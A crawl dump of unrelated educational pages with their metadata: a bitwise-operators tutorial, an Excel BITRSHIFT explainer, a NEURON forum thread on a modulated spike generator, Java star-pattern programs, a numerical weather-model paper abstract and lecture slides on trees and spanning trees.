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https://tenminutetutor.com/computer-science/gcse/data-representation/numbers/bitwise-operations/ | [
"# Bitwise logical operations\n\nMartin McBride, 2017-02-24\nTags binary bit bit field and bitwise and or bitwise or bit mask not bitwise not xor bitwise xor\nCategories data representation numbers\n\nYou may be familiar with logic gates which use AND, OR, NOT and XOR logic.\n\nYou may also have used and, or, and not combinations in programming (for example if statements and while loops).\n\nBitwise logical operators follow the same rules but they act on the individual bits in a byte. They are useful for bit manipulation.\n\n## Bit fields\n\nOften, a byte or word is used to contain a number value. But sometimes we are more interested in the individual bits within the byte.\n\nFor example, if you were making a computer game using a Raspberry Pi, Arduino or similar, you might connect push-buttons to the computers I/O (input/output) pins for left, right and fire functions.\n\nWhen you check to see which buttons are pressed, you might get back a byte value, where:\n\n• Bit 0 is set if the left button is pressed.\n• Bit 1 is set if the right button is pressed.\n• Bit 2 is set if the fire button is pressed.\n\nSo if the right button is pressed, you would get a value 00000010 binary (2 decimal).\n\nAlternatively, if the left button and fire button were both pressed at the same time, you would get a value 00000101 binary (5 decimal).\n\nIf a byte (or a word of any size) is used as a collection of bits, we call it a bit field value. Bitwise logical operators are very useful for dealing with bit fields.\n\n## Bitwise AND\n\nThe bitwise AND operator often uses the symbol &.\n\nIt combines values by ANDing together each pair of bits in the two input bytes:",
null,
"So in this example:\n\n• Value A bit 0 is 0, Value B bit 0 is 0, so the result bit 0 is 0.\n• Value A bit 1 is 0, Value B bit 1 is 1, so the result bit 1 is 0.\n• Value A bit 2 is 1, Value B bit 2 is 0, so the result bit 2 is 0.\n• Value A bit 3 is 1, Value B bit 3 is 1, so the result bit 3 is 1.\n• etc\n\nA particular result bit will only be 1 if both input bits are 1.\n\nWe can do this in pseudocode like this:\n\n```a = 01111100b\nb = 01101010b\nresult = a & b\nPRINT(result)\n```\n\nWhich will print the value 01101000 binary (104 in denary).\n\n## Using bitwise AND as a bit mask\n\nA bit mask is used to mask out unwanted bits in a byte, and just leave the ones you need. For example, suppose you have a byte value, and you want to find the value of the lowest hexadecimal digit. To do this you need to take the value of the lower 4 bits, ignoring the higher 4 bits.\n\nFor the AND function, we know that:\n\n• ANDing anything with 0 is always 0, ie A & 0 = 0.\n• ANDing anything with 1 leaves the value unchanged, ie A & 1 = A.\n\nWe can think of bitwise AND as a masking function. Here, we are using input B as a mask:",
null,
"In this case:\n\n• For the low 4 bits, where the mask bits are 1, the bit values in A are passed through to the result.\n• For the high 4 bits, where the mask bits are 0, the bits in the result are forced to 0.\n\n## Bitwise OR\n\nThe bitwise OR operator often uses the symbol |.\n\nIt combines values by ORing together each pair of bits in the two input bytes:",
null,
"So in this example:\n\n• Value A bit 0 is 0, Value B bit 0 is 0, so the result bit 0 is 0.\n• Value A bit 1 is 0, Value B bit 1 is 1, so the result bit 1 is 1.\n• Value A bit 2 is 1, Value B bit 2 is 0, so the result bit 2 is 1.\n• Value A bit 3 is 1, Value B bit 3 is 1, so the result bit 3 is 1.\n• etc\n\nA particular result bit will be 1 if either or both input bits are 1.\n\nWe can do this in pseudocode like this:\n\n```a = 01111100b\nb = 01101010b\nresult = a | b\nPRINT(result)\n```\n\nWhich will print the value 01111110 binary (126 in denary).\n\n## Using bitwise OR to combine bit fields\n\nSometimes you might have two bit fields which need to be combined. For example:\n\n• Value A has 4 bits of data in the lower 4 bits, and the upper 4 bits are set to 0.\n• Value B has 4 bits of data in the upper 4 bits, and the lower 4 bits are set to 0.\n\nWe can think of bitwise AND as a masking function. Here, we are using input B as a mask:",
null,
"In this case:\n\n• For the lower 4 bits of data in A are ORed with lower 4 bits of zeros in B, so the bit values in A are passed through to the result.\n• For the upper 4 bits of data in B are ORed with upper 4 bits of zeros in A, so the bit values in B are passed through to the result.\n\n## Bitwise NOT\n\nThe bitwise NOT operation often uses the symbol ~. It takes one value, and returns the result of inverting each bit. For example:\n\n```a = 10101110b\nresult = ~a\nPRINT(result)\n```\n\nprints 01010001 binary (each bit is the opposite of the input bit).\n\n## Bitwise XOR\n\nThe bitwise XOR operation often uses the symbol ^.\n\nIt behaves in a similar way to bitwise OR. The difference is that the output bit will be 1 if either (but not both) input bits are 1. The output bit will be zero if both inputs are 0, or if both inputs are 1."
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"https://tenminutetutor.com/img/computer-science/gcse/data-representation/numbers/or-bits.png",
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"https://tenminutetutor.com/img/computer-science/gcse/data-representation/numbers/or-combine-bits.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8658709,"math_prob":0.98580354,"size":4750,"snap":"2021-43-2021-49","text_gpt3_token_len":1294,"char_repetition_ratio":0.15233882,"word_repetition_ratio":0.32798395,"special_character_ratio":0.28694737,"punctuation_ratio":0.105166055,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9995128,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,2,null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-19T03:26:18Z\",\"WARC-Record-ID\":\"<urn:uuid:80befccb-2d00-4162-9f19-7126b0138518>\",\"Content-Length\":\"13553\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0b7af5b0-9fe3-44b1-ba87-976bff200d3d>\",\"WARC-Concurrent-To\":\"<urn:uuid:2d37f19a-9767-44a3-bac0-d6be6bf277bb>\",\"WARC-IP-Address\":\"192.236.209.132\",\"WARC-Target-URI\":\"https://tenminutetutor.com/computer-science/gcse/data-representation/numbers/bitwise-operations/\",\"WARC-Payload-Digest\":\"sha1:QZBM5TZJ3A6BGN4HXCCRFAW55DEKMVAF\",\"WARC-Block-Digest\":\"sha1:GLGHCAVW4N3EFUY6XIY4G2SGL4VAUHYN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585231.62_warc_CC-MAIN-20211019012407-20211019042407-00664.warc.gz\"}"} |
https://www.get-digital-help.com/how-to-use-the-bitrshift-function/ | [
"Author: Oscar Cronquist Article last updated on May 11, 2022",
null,
"The BITRSHIFT function calculates the number where the binary equivalent is shifted right by a specified number of bits and then converted back to a number.\n\nFormula in cell D3:\n\n=BITRSHIFT(B3, C3)\n\nNumber 5 is 00000101 binary. Adding one zero to the left and removing the last digit you get 00000010 binary which is number 2.\n\n### Excel Function Syntax\n\nBITRSHIFT(numbershift_amount)\n\n### Arguments\n\n number Required. The number you want to shift. shift_amount Required. How many digits you want to shift the binary representation of the number."
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https://neuron.yale.edu/phpBB/viewtopic.php?p=9698 | [
"## NetStim.interval variable\n\nModerator: wwlytton\n\npatoorio\nPosts: 81\nJoined: Wed Jan 30, 2008 12:46 pm\n\n### NetStim.interval variable\n\nHi,\n\nI want to have a NetStim that delivers random pulses but with a variable mean interval. Specifically, I want to have sinusoid form with max=0 and min=20 (or anything resembling that).\nI have tried by playing a sine vector on Net1.interval, i.e.\n\nCode: Select all\n\n``sinvec.play(&Net1.interval,1,1) ``\nBut it doesn't work; I get a segmentation violation. (sinevec is a vector previously loaded from a text file)\n(BTW I also tried with sinvec.play(Net1.interval,1,1), without the & and it doesn't work either but without the error).\n\nWhat is the proper way of doing what I want? I have thought of modifying the .mod file but I want to leave that as the last resource.\n\nThanks!\nted\nPosts: 5797\nJoined: Wed May 18, 2005 4:50 pm\nLocation: Yale University School of Medicine\nContact:\n\n### Re: NetStim.interval variable\n\npatoorio wrote:I want to have a NetStim that delivers random pulses but with a variable mean interval.\nYou need to find or create an algorithm that does what you want.\n\nConsider a very simple problem: you have a simulation with fixed time step dt, and you want pulses that occur at an average interval of 2*dt. One way to do this is:\nat every new time step:\npick a number from the uniform distribution over [0,1]\nif the number is <=0.5, generate a pulse\n\nTo generalize, suppose you want an average interval of N*dt, where N>1. You could do this by:\nat every new time step\npick a number from the uniform distribution over [0,1]\nif the number is <=1/N, generate a pulse.\n\nTo generalize even further, suppose you want the average interval to vary with time. This means that N must be a function of time\nN = f(t) where f is always >=1\nSo at every new time step,\npick a number from the uniform distribution over [0,1]\nif the number is <= 1/f(t), generate a pulse.\n\nThis will generate pulses whose instantaneous average interval (discoverable by averaging results of an ensemble of simulations) is f(t)*dt\nAnd it will have to be implemented with a mod file.\npatoorio\nPosts: 81\nJoined: Wed Jan 30, 2008 12:46 pm\n\n### Re: NetStim.interval variable\n\nThanks a lot for telling me to do what I didn't want to do ;)\nBut I mean it, because it turned out to be easier than I thought... until I got into trouble.\n\nI have something like this:\n\nCode: Select all\n\n``````INITIAL {\nr_interval = exprand(1)\nlast_event = 0\n}\n\nBREAKPOINT {\nif (t>start && t<start+dur) {\ninterval = (1000)*1/(minRate + (maxRate-minRate)*cos(2*3.14159*freq*(t-phase)/(1000)))\nnext_ev = last_event + invl(interval)\nif (t>=next_ev) {event()}\n}\n}\n\nFUNCTION invl(mean (ms)) (ms) {\ninvl = (1. - noise)*mean + noise*mean*r_interval\n}\n\nPROCEDURE event() {\nnet_event(t)\nlast_event = t\nr_interval = exprand(1)\n}``````\n(for better readability I have deleted some lines that check that some things are greater than 0)\nThe idea is to keep the (exponentially distributed) random number r_interval unchanged until there is a new event; what changes from step to step is the mean of the distribution.\nThe error I get when trying to compile is that net_event (as well as net_send) has to be within the INITIAL or a NET_RECEIVE block. I cannot see how to accomplish that since I need interval to change every time, and every time check if last_event + invl(interval) is lower than t. In other words, I have to be able to generate (in any way) an event from within the BREAKPOINT block.\nHow can I do that?\n\nThanks!\npatoorio\nPosts: 81\nJoined: Wed Jan 30, 2008 12:46 pm\n\n### Re: NetStim.interval variable\n\nI did some research and found that the WATCH command may be useful here.\nNow I have this:\n\nCode: Select all\n\n``````INITIAL {\nif (noise < 0) {noise = 0}\nif (noise > 1) {noise = 1}\nif (minRate <=0) {minRate = 0.0001}\nr_interval = exprand(1)\nlast_event = 0\ninterval = (1000)*1/(minRate + (maxRate-minRate)*cos(2*3.14159*freq*(t-phase)/(1000)))\nnext_ev = last_event + invl(interval)\nnet_send(0,2)\n}\n\nBREAKPOINT {\nif (t>start && t<start+dur) {\ninterval = (1000)*1/(minRate + (maxRate-minRate)*cos(2*3.14159*freq*(t-phase)/(1000)))\nnext_ev = last_event + invl(interval)\n}\n}\n\nif (flag==1) {\nnet_event(t)\nlast_event = t\nr_interval = exprand(1)\nnext_ev = last_event + invl(interval)\n}\nif (flag==2) {}\nWATCH (t>next_ev) 1\n}\n\nFUNCTION invl(mean (ms)) (ms) {\nif (mean <= 0.) {\nmean = .01 (ms)\n}\nif (noise == 0) {\ninvl = mean\n}else{\ninvl = (1. - noise)*mean + noise*mean*r_interval\n}\n}``````\nIt compiles successfuly but just trying to initialize the model gives a segmentation violation error.\n\nBTW, I'm using this mechanism in a very simple way:\n\nCode: Select all\n\n``````objref Net1,Con1,IF1\n\nNet1 = new SinStim()\nNet1.start = 0\nNet1.noise = 0\n\nIF1 = new IntFire1(0.5)\nCon1 = new NetCon(Net1,IF1)\nCon1.weight = 0.7``````\npatoorio\nPosts: 81\nJoined: Wed Jan 30, 2008 12:46 pm\n\n### Re: NetStim.interval variable\n\nWell, I found the solution... and a possible bug?\n\nIt turns out that WATCH doesn't work in an ARTIFICIAL_CELL!! I just changed the process to a POINT_PROCESS, created a mock section to insert it and now it works like a charm!\nIs this normal? BTW I haven't tried with the last alpha version, I'm working with NEURON 7.1\n\nBest wishes\nted\nPosts: 5797\nJoined: Wed May 18, 2005 4:50 pm\nLocation: Yale University School of Medicine\nContact:\n\n### Re: NetStim.interval variable\n\nI wonder if that would work as an ARTIFICIAL_CELL with version 7.2. By the way, 7.2 has now (finally) been released officially.\n\nI really don't like this algorithm for execution during a simulation--requires code execution at every fadvance() and forces fixed dt integration. It may be better to precalculate the spike times and save them to one or more files, then read them into one or more Vectors prior to calling run() and use VecStim to play the events into NetCons--for source code and an example of the use of VecStim see\nnrn/share/nrn/examples/nrniv/netcon/vecevent*\n(c:/nrnxx/examples/nrniv/netcon/vecevent* for MSWin users). This would allow the use of adaptive integration--even though the event times themselves were calculated in a way that forces them to lie at integer multiples of some sample rate.\npatoorio\nPosts: 81\nJoined: Wed Jan 30, 2008 12:46 pm\n\n### Re: NetStim.interval variable\n\nted wrote:I wonder if that would work as an ARTIFICIAL_CELL with version 7.2. By the way, 7.2 has now (finally) been released officially. .\nNo, it doesn't. And now there isn't any segmentation violation message, neuron just quits.\nted wrote:I really don't like this algorithm for execution during a simulation--requires code execution at every fadvance() and forces fixed dt integration. It may be better to precalculate the spike times and save them to one or more files, then read them into one or more Vectors prior to calling run() and use VecStim to play the events into NetCons--for source code and an example of the use of VecStim see\nnrn/share/nrn/examples/nrniv/netcon/vecevent*\n(c:/nrnxx/examples/nrniv/netcon/vecevent* for MSWin users). This would allow the use of adaptive integration--even though the event times themselves were calculated in a way that forces them to lie at integer multiples of some sample rate.\nSounds interesting. I will give it a try and see how much the simulation is sped up.\nThanks!"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9243999,"math_prob":0.92478836,"size":1147,"snap":"2020-45-2020-50","text_gpt3_token_len":273,"char_repetition_ratio":0.12423447,"word_repetition_ratio":0.13170731,"special_character_ratio":0.23975588,"punctuation_ratio":0.101626016,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97521025,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-30T23:31:05Z\",\"WARC-Record-ID\":\"<urn:uuid:c40cb112-a311-40cf-9a83-944ff6d3bc83>\",\"Content-Length\":\"48595\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f73d6a7f-3e93-4ca2-b519-dc88efa7961f>\",\"WARC-Concurrent-To\":\"<urn:uuid:7fd87bce-2ec2-4673-b0d2-1bef3b1d934d>\",\"WARC-IP-Address\":\"128.36.111.212\",\"WARC-Target-URI\":\"https://neuron.yale.edu/phpBB/viewtopic.php?p=9698\",\"WARC-Payload-Digest\":\"sha1:TJSAVLX7K42VGRB3IANCXOXNJH5QH36J\",\"WARC-Block-Digest\":\"sha1:LZDETG754W3CMJ5HWKOE5KLNXZKBGGL2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107911792.65_warc_CC-MAIN-20201030212708-20201031002708-00502.warc.gz\"}"} |
https://www.studytonight.com/java-programs/java-program-to-print-the-left-arrow-star-pattern | [
"# Java Program to Print the Left Arrow Star Pattern\n\nIn this tutorial, we will see how to print the left arrow star pattern in Java. First, we will ask the user to initialize the number of rows. Then, we will use loops to print the pattern. But before moving further, if you are not familiar with the concept of the loops in java, then do check the article on Loops in Java.\n\nInput: Enter the number of rows: 6\n\nOutput: The pattern is:\n\n******\n\n*****\n\n****\n\n***\n\n**\n\n*\n\n**\n\n***\n\n****\n\n*****\n\n******\n\n## Program 1: Print the Left Arrow Star Pattern\n\nIn this program, we will see how to print the left arrow star pattern in Java using a for loop.\n\n### Algorithm:\n\n1. Start\n2. Create an instance of the Scanner class.\n3. Declare variables to store the number of rows and the pattern symbol.\n4. Ask the user to initialize these variables.\n5. Use two for loops to print the pattern.\n6. The first for loop displays the upper pattern of “left arrow” and the second for loop displays the lower pattern.\n7. First, check the condition i<n at for loop, if it is true, then it executes the first inner for the loop until the condition is false, after that, it executes the second inner for the loop until the condition is false.\n8. The first inner for loop display space and the second inner for loop displays character which we have given to display.\n9. After the execution of the first outer for loop, the second outer for loop will be executed.\n10. Check the condition at for loop, if it is true, then execute the inner loops until the condition i<n.\n11. Display the result.\n12. Stop\n\nThe below example illustrates the implementation of the above algorithm.\n\n``````//Java Program to Print the Left Arrow Star Pattern\nimport java.util.Scanner;\npublic class Main\n{\npublic static void main(String[] args)\n{\n//Take input from the user\nScanner sc=new Scanner(System.in);\nSystem.out.println(\"Enter the number of rows: \");\nint n=sc.nextInt();\nfor(int i=1;i<=n;i++)\n{\nfor(int j=1;j<=n-i;j++)\n{\nSystem.out.print(\" \");\n}\nfor(int j=i;j<=n;j++)\n{\nSystem.out.print(\"*\");\n}\nSystem.out.println();\n}\nfor(int i=1;i<n;i++)\n{\nfor(int j=0;j<i;j++)\n{\nSystem.out.print(\" \");\n}\nfor(int j=0;j<=i;j++)\n{\nSystem.out.print(\"*\");\n}\nSystem.out.println();\n}\n}\n}``````\n\nEnter the number of rows: 6\n******\n*****\n****\n***\n**\n*\n**\n***\n****\n*****\n******\n\n## Program 2: Print the Left Arrow Star Pattern\n\nIn this program, we will see how to print the left arrow star pattern in Java using a while loop.\n\n### Algorithm:\n\n1. Start\n2. Create an instance of the Scanner class.\n3. Declare variables to store the number of rows and the pattern symbol.\n4. Ask the user to initialize these variables.\n5. Use two while loops to print the pattern.\n6. First, check the condition i<=n at while, if it is true then it executes the code in the while loop.\n7. The first while will execute until i<=n is false.\n8. After the execution of the first while loop, the second while loop will be executed.\n9. Display the result.\n10. Stop\n\nThe below example illustrates the implementation of the above algorithm.\n\n``````//Java Program to Print the Left Arrow Star Pattern\nimport java.util.Scanner;\npublic class Main\n{\npublic static void main(String[] args)\n{\n//Take input from the user\nScanner sc=new Scanner(System.in);\nSystem.out.println(\"Enter the number of rows: \");\nint n=sc.nextInt();\nint i=1;\nint j;\nwhile(i<=n)\n{\nj=1;\nwhile(j<=n-i)\n{\nSystem.out.print(\" \");\nj++;\n}\nj=i;\nwhile(j<=n)\n{\nSystem.out.print(\"*\");\nj++;\n}\nSystem.out.println();\ni++;\n}\ni=1;\nwhile(i<n)\n{\nj=0;\nwhile(j<i)\n{\nSystem.out.print(\" \");\nj++;\n}\nj=0;\nwhile(j<=i)\n{\nSystem.out.print(\"*\");\nj++;\n}\nSystem.out.println();\ni++;\n}\n}\n}``````\n\nEnter the number of rows: 6\n******\n*****\n****\n***\n**\n*\n**\n***\n****\n*****\n******\n\n## Program 3: Print the Left Arrow Star Pattern\n\nIn this program, we will see how to print the left arrow star pattern in Java using a do-while loop.\n\n### Algorithm:\n\n1. Start\n2. Create an instance of the Scanner class.\n3. Declare variables to store the number of rows and the pattern symbol.\n4. Ask the user to initialize these variables.\n5. Use two do-while loops to print the pattern.\n6. At first, the do-while loop will be executed until the condition is false i<=n. Inner do-while loops will be executed until the condition is false.\n7. After the execution of the first do-while loop, the second do-while loop will be executed until the condition i<n is false. Inner do-while loops will be executed until the condition is false.\n8. Display the result.\n9. Stop\n\nThe below example illustrates the implementation of the above algorithm.\n\n``````//Java Program to Print the Left Arrow Star Pattern\nimport java.util.Scanner;\npublic class Main\n{\npublic static void main(String[] args)\n{\n//Take input from the user\nScanner sc=new Scanner(System.in);\nSystem.out.println(\"Enter the number of rows: \");\nint n=sc.nextInt();\nint i=1;\nint j;\ndo\n{\nj=1;\ndo\n{\nSystem.out.print(\" \");\n}while(j++<=n-i);\nj=i;\ndo\n{\nSystem.out.print(\"*\");\nj++;\n}while(j<=n);\nSystem.out.println();\ni++;\n} while(i<=n);\ni=1;\ndo\n{\nj=0;\ndo\n{\nSystem.out.print(\" \");\n}while(j++<i);\nj=0;\ndo\n{\nSystem.out.print(\"*\");\nj++;\n} while(j<=i);\nSystem.out.println();\ni++;\n}while(i<n);\n}\n}``````\n\nEnter the number of rows: 6\n******\n*****\n****\n***\n**\n*\n**\n***\n****\n*****\n******"
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https://research.chalmers.se/publication/208010 | [
"# A Solution to the Pole Problem for the Shallow Water Equations on a Sphere Artikel i vetenskaplig tidskrift, 2014\n\nWe consider a reduced gridding technique for the shallow water equations on a sphere, based on spherical coordinates. In a small vicinity of the poles, a longitudinal derivative is discretized at a grid-point on a parallel, by using points on the great circle through the grid-point and tangent to the parallel. Centered one-dimensional interpolation formulas are used in this process and also in connecting adjacent segments in the reduced grid. The remaining spatial discretization is obtained by simply replacing derivatives by centered equidistant finite difference approximations. Numerical experiments for scalar advection equations and for the well-known Rossby-Haurwitz test example indicate that the methods developed work surprisingly well. Some advantages are that (i) a fairly uniform grid, with many reductions or segments, can be used, (ii) order of approximation \\$2p\\$ in the spatial discretizations requires only \\$4p+1\\$ points and (iii) the local and simple structure of the schemes will make efficient implementation on massively parallel computer systems possible. The paper is an attempt towards global numerical weather prediction models, by first analyzing the pole problem for reduced latitude-longitude grids.\n\nsphere\n\nnumerical weather prediction.\n\nreduced grid\n\nshallow water equations\n\nsegment\n\npole problem\n\n## Författare\n\n### Göran Christer Starius\n\nChalmers, Matematiska vetenskaper\n\nGöteborgs universitet\n\n2076-2585 (ISSN)\n\nVol. 5 2 152-170\n\nMatematik\n\n### Fundament\n\nGrundläggande vetenskaper\n\n2019-02-18"
]
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https://slideplayer.com/slide/234197/ | [
"",
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"# Chapter 11 Trees Graphs III (Trees, MSTs) Reading: Epp Chp 11.5, 11.6.\n\n## Presentation on theme: \"Chapter 11 Trees Graphs III (Trees, MSTs) Reading: Epp Chp 11.5, 11.6.\"— Presentation transcript:\n\nChapter 11 Trees Graphs III (Trees, MSTs) Reading: Epp Chp 11.5, 11.6\n\nOutline 1.Trees 1.1 Definition of a tree. 1.2 Examples of trees. 1.3 Theorem #1: Tree Characterization 2.Rooted Trees 2.1 Definitions 2.2 Definition: n-ary trees and binary trees. 2.3 Definition: Full n-ary trees 2.4 Theorem #2: Full Tree 2.5 Theorem #3: Leaves-Height 2.6 Examples 3.Spanning Trees 3.1 Motivation 3.2 Definition 3.3 Theorem #4: Spanning Tree 3.4 Minimum Spanning Tree (MST) 3.5 Kruskals Algorithm 3.6 Prims Algorithm\n\n1. Trees 1.1 Definition: Let G=(V,E). G is a tree IFF (a) G is connected; and (b) G does not have any circuits (acyclic). Comment: –The textbook distinguishes between trivial and non-trivial circuits. They define a trivial circuit as a circuit of length 0. –As far as we are concerned, unless otherwise stated, when we say circuit we mean NON- TRIVIAL circuit. i.e. the default meaning of circuit is a non-trivial circuit.\n\n1. Trees 1.1 Definition: Let G=(V,E). G is a tree IFF (a) G is connected; and (b) G does not have any circuits (acyclic). 1.2.1 Example of a tree\n\n1. Trees 1.2.2 Examples of trees in real life usage –Family Tree –Tournaments –Directory Tree –Syntax Tree –Execution Tree –Decision Tree –Search Tree –B-Tree (Databases)\n\n1. Trees 1.3 Theorem (Tree Characterization Theorem): Let G=(V,E). G is a tree IFF G is connected and |E|=|V|-1 n Proof Strategy: –( ) Assume G is a tree Prove that G is connected(Trivial) Prove that |E| = |V| - 1(Prove by induction on |V|) –Lemma 1: A tree with more than 1 vertex has at least 1 vertex of degree 1 –( ) Assume G is connected and |E| = |V| -1 (Prove that G is a tree. How? Show that G fits the definition of a tree.) Prove that G is connected(Trivial) Prove that G has no circuits(Prove by contradiction) –Lemma 2: Deletion of edge from a circuit of a connected graph does not violate connectedness.\n\nOutline 1.Trees 1.1 Definition of a tree. 1.2 Examples of trees. 1.3 Theorem #1: Tree Characterization 2.Rooted Trees 2.1 Definitions 2.2 Definition: n-ary trees and binary trees. 2.3 Definition: Full n-ary trees 2.4 Theorem #2: Full Tree 2.5 Theorem #3: Leaves-Height 2.6 Examples 3.Spanning Trees 3.1 Motivation 3.2 Definition 3.3 Theorem #4: Spanning Tree 3.4 Minimum Spanning Tree (MST) 3.5 Kruskals Algorithm 3.6 Prims Algorithm\n\n2.1 Rooted Trees (Definition) n A rooted tree is a tree in which one vertex is distinguished from the others and is called the root. n The level of a vertex v is the path length from the root to v. The height of the tree is the maximum level to any vertex of the tree. root Level 0 Level 1 Level 2 Level 3 Level 4\n\n2.1 Rooted Trees (Definition) n Given any vertex v in a rooted tree: –The children of v are the vertices adjacent to v, 1 level further away from the root. –The parent of v is the vertex adjacent to v, 1 level nearer to the root. –The siblings of v are the vertices which have the same parent as v. v Parent of v Children of v Siblings of v\n\n2.1 Rooted Trees (Definition) n Given any vertex v in a rooted tree: –The ancestor of v are the vertices which lie in the path from v to the root. –If u is the ancestor of v, then v is the descendant of u. v Ancestors of v Descendants of v\n\n2.1 Rooted Trees (Definition) n Given any rooted tree: –The internal vertices of the tree are the vertices which have at least 1 child. –The external vertices of the tree are the vertices which have no children. External vertices are also known as the leaves of the tree, or terminal vertices. External Vertices (Leaves) The rest are Internal Vertices\n\n2.2 m-ary trees and binary trees (Defn) n A m-ary tree is a rooted tree in which every vertex has at most m children. Example of a 4-ary Tree Example of a 3-ary Tree\n\n2.2 m-ary trees and binary trees (Defn) n A m-ary tree is a rooted tree in which every vertex has at most m children. –A binary tree is a m-ary tree with n=2. Each child of the binary tree is designated either the left child or the right child. Given a vertex v of a binary tree, the left subtree of v (right subtree of v) is the binary tree whose root is the left child of v (right child of v). v Left subtree of v Right subtree of v Left child of v Right child of v Example of a Binary Tree\n\n2.3 Full m-ary Trees (Definition) n A m-ary tree is FULL iff every vertex has either 0 or m children. (OR every internal vertex has m children). n Examples of full binary trees. Full Tree?YesNoYesNo Yes\n\nProof: 2.4 Full Tree Theorem n Full Tree theorem: A full m-ary tree with k internal vertices has mk + 1 vertices. Let T=(V,E) be a full m-ary tree, with k internal vertices. Total number of vertices in T Number of vertices that HAVE a parent Number of vertices that DO NOT HAVE a parent = + Q: How many vertices HAVE a parent? 1.Observe for a 2-ary tree with 7 internal vertices 2. Each internal vertex has 2 children\n\n2.5 Leaves-Height Theorem. n Leaves-Height Theorem for Binary Trees: Let T=(V,E) be a binary tree that has t leaves, and height h. Then t 2 h. Proof: (by using induction on the height of the tree) Base Case: h = 0 T has 1 vertex, which is a leaf. t = 1 1 = 2 0 = 2 h Base case is true.\n\n2.5 Leaves-Height Theorem. n Leaves-Height Theorem for Binary Trees: Let T=(V,E) be a binary tree that has t leaves, and height h. Then t 2 h. Proof: (by using induction on the height of the tree) Inductive Case: Assume that t 2 h for h = 0,1,2,…,k (STRONG!) Let T be any binary tree of height k+1. (Need to show t 2 k+1 ) k 1 TLTL TRTR With respect to the root vertex, let the left and right subtrees be T L and T R respectively. Let the number of leaves in T L and T R be t L and t R respectively. (t = t L + t R ) Height of T L and T R are both < k+1. By inductive hypothesis, t L 2 (T L Height) 2 k and t R 2 (T R Height) 2 k. t = t L + t R 2 k + 2 k = 2 k+1.\n\n2.5 Leaves-Height Theorem. n Corollary to the Leaves-Height Theorem: Let T=(V,E) be a binary tree that has t leaves, and height h. Then log 2 t h. Proof: Using leaves-height theorem, we have t 2 h. Taking logarithms on both sides will yield log 2 t log 2 2 h log 2 t h\n\n2.5 Leaves-Height Theorem. IN GENERAL: n Leaves-Height Theorem for m-ary Trees: Let T=(V,E) be a m-ary tree that has t leaves, and height h. Then t m h n Corollary to the Leaves-Height Theorem: Let T=(V,E) be a m-ary tree that has t leaves, and height h. Then log m t h n Proof left as exercise (follows very closely to the proofs shown before)\n\n2.6 Examples n Q: Is there a binary tree that has height 5 and 38 external vertices? n A: No, since 38 > 2 5 which violates the leaves-height theorem.\n\n2.6 Examples n Q: Is there a full binary tree with 10 internal vertices and 13 external vertices? n A: No. Using the full-tree theorem, a binary tree with 10 internal vertices has 21 vertices in total. Therefore there should be 21-10 = 11 external vertices.\n\nOutline 1.Trees 1.1 Definition of a tree. 1.2 Examples of trees. 1.3 Theorem #1: Tree Characterization 2.Rooted Trees 2.1 Definitions 2.2 Definition: n-ary trees and binary trees. 2.3 Definition: Full n-ary trees 2.4 Theorem #2: Full Tree 2.5 Theorem #3: Leaves-Height 2.6 Examples 3.Spanning Trees 3.1 Motivation 3.2 Definition 3.3 Theorem #4: Spanning Tree 3.4 Minimum Spanning Tree (MST) 3.5 Kruskals Algorithm 3.6 Prims Algorithm\n\n3.1 Spanning Trees. n Example of use is in IP multicasting (studied in networking). n Do a web-search on the keywords IP multicasting spanning tree and more info will be available.\n\n3.1 Spanning Trees. n Layer 2 routing of packets through network switches. n Multiple connections from one switch to the rest of network to increase fault tolerance. n When all links are operational, redundacy in connection occurs. n Network forms a spanning tree so that packets will not be redundantly routed. R n Network will elect a root. n Root will broadcast packets to all other switches. n Each switch will select the best link to use.\n\n3.1 Spanning Trees. n Layer 2 routing of packets through network switches. n Multiple connections from one switch to the rest of network to increase fault tolerance. n When all links are operational, redundacy in connection occurs. n Network forms a spanning tree so that packets will not be redundantly routed. R n Network will elect a root. n Root will broadcast packets to all other switches. n Each switch will select the best link to use.\n\n3.1 Spanning Trees. n Layer 2 routing of packets through network switches. n Multiple connections from one switch to the rest of network to increase fault tolerance. n When all links are operational, redundacy in connection occurs. n Network forms a spanning tree so that packets will not be redundantly routed. R n Network will elect a root. n Root will broadcast packets to all other switches. n Each switch will select the best link to use.\n\n3.1 Spanning Trees. n Layer 2 routing of packets through network switches. n Multiple connections from one switch to the rest of network to increase fault tolerance. n When all links are operational, redundacy in connection occurs. n Network forms a spanning tree so that packets will not be redundantly routed. R n Network will elect a root. n Root will broadcast packets to all other switches. n Each switch will select the best link to use. n When a link goes down, the network reconfigures again.\n\n3.2 Spanning Trees (Definition). n Definition: Let G=(V,E). A spanning tree for G is a subgraph T=(V,E) of G, such that T is a tree and T contains every vertex of G. R\n\n3.3 Spanning Tree theorem. n Spanning Tree theorem: A graph is connected IFF it has a spanning tree. Proof: ( ) Assume that G=(V,E) is connected. We will show that G has a spanning tree. Step 1: Let H = G Step 2: while (H has a circuit C) { Step 2a: Remove an edge from C to form new graph H. Step 2b: Let H = H } Step 3: Output H. 1. Algorithm will terminate because G is finite and there is a finite number of edges to delete\n\n3.4 Minimum Spanning Tree A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 Let the following graph depict the scenario where the vertices are cities and the weighted edges are distances (km) between the cities. Lets say that the country wants to connect up the cities by building roads between them. The longer the road, the more money it has to spend. How do we connect up the cities and spend the LEAST AMOUNT OF MONEY? Ans: Find the MINIMUM spanning tree.\n\n3.4 Minimum 